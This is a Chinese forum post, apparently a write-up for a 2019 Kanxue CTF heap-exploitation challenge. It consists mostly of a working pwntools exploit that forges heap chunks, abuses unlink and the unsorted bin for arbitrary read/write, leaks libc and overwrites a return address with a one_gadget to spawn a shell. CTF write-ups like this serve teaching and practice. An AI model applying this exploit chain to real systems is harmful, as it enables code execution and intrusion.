首页
社区
课程
招聘
[原创] 2019看雪CTFQ2第二题WP
发表于: 2019-6-14 16:12 2710

[原创] 2019看雪CTFQ2第二题WP

2019-6-14 16:12
2710

思路

import sys
from pwn import *

###########
# args
###########
context.os          = 'linux'
context.arch        = 'i386'
context.log_level   = 'debug'
context.terminal    = ['tmux', 'splitw', '-h']

elf_file  = './pwn'
libc_file = './libc-2.27.so'
###########

elf     = ELF(elf_file)
libc    = ELF(libc_file)
rop     = ELF(libc_file)

def malloc(index, content):
    p.sendlineafter('4.show\n', '1')
    p.sendlineafter('index:\n', str(index))
    p.recvuntil('gift: ')
    ret = int(p.recvuntil('\n')[:-1], 16)
    p.recvuntil('content:\n')
    p.send(content)
    return ret

def free(index):
    p.sendlineafter('4.show\n', '2')
    p.sendlineafter('index:\n', str(index))

def edit(index, content):
    p.sendlineafter('4.show\n', '3')
    p.sendlineafter('index:\n', str(index))
    p.recvuntil('content:\n')
    p.send(content)

def show(index):
    p.sendlineafter('4.show\n', '4')
    p.sendlineafter('index:\n', str(index))
    return p.recvuntil('\n')[:-1]

def write(addr, content):
    edit(29, p64(addr) + '\n')
    edit(30, content)

def read(addr):
    edit(29, p64(addr) + '\n')
    return show(30)

def run():
    # for i in range(12):
    #     malloc(i, 'a\n')
    # free(6)
    # malloc(6, 'a' * 0x28 + '\xf1')
    # free(7)
    addr = malloc(31, '\n')
    free(31)
    malloc(31, p64(0) + p64(0x111) + p64(0x404178 - 0x18) + p64(0x404178 - 0x10))
    for i in range(1, 19):
        malloc(i, p64(0)*4 + p64(0xf0))


    for i in range(18, 11, -1):
        free(i-1)
        malloc(i-1, p64(0)*4 + p64(0xf0) + '\xf1')
        free(i)

    free(5)
    malloc(5, p64(0) * 4 + p64(0x110) + '\xf0')
    free(6)

    edit(31, p64(0x404180) + p64(0x404170) + p64(0) + p64(addr - 0x10 - 0x404170 + 1))
    free(28)
    libc.address = u64(read(0x404188).ljust(8, '\x00')) + 0x7fac7a2f9000 - 0x7fad7a6e4ca0
    log.success('%s ===> %x' % ('libc.address', libc.address))

    environ = libc.symbols['environ']
    log.success('%s ===> %x' % ('environ', environ))

    return_addr = u64(read(environ).ljust(8, '\x00')) + 0x7ffe3b8f9578 - 0x7ffe3b8f96a8
    log.success('%s ===> %x' % ('return_addr', return_addr))

    one_gadget = libc.address + 0x4f2c5
    log.success('%s ===> %x' % ('one_gadget', one_gadget))

    write(return_addr, p64(one_gadget) + '\n')

    p.interactive()

if __name__ == '__main__':
    if len(sys.argv) > 1:
        p = remote(sys.argv[1], int(sys.argv[2]))
    else:
        p = process(elf_file, env={'LD_PRELOAD': libc_file})
        gdb.attach(p,'''
        b *0x4016bb
        ''')

    run()
  1. 伪造fake chunk,free smallbin 绕过tcache造成consolidate,通过unlink使得list第31(0x404178)个指针p指向p-0x18位置;
  2. [坑点来了]正常情况下就可以任意读写,但限制了一次写,并且0x18刚好写不到0x404188及0x404180;并且即使在list第0(0x404080)个指针用unlink,也写不到限制malloc范围的指针0x404060,即不能通过任意malloc chunk来任意写;
  3. 绕过限制的办法是伪造超大chunk,一次free到unsortedbin,改写fd,bk,进而绕过写次数,顺便绕过读限制;(估计是非预期)
  4. 有了任意读写就很简单了;(还有一坑是网速,wifi过慢60秒alarm总是触发。。。希望以后题目时间调大一些)
  • 伪造fake chunk,free smallbin 绕过tcache造成consolidate,通过unlink使得list第31(0x404178)个指针p指向p-0x18位置;

  • [培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

    收藏
    免费 1
    支持
    分享
    最新回复 (0)
    游客
    登录 | 注册 方可回帖
    返回
    //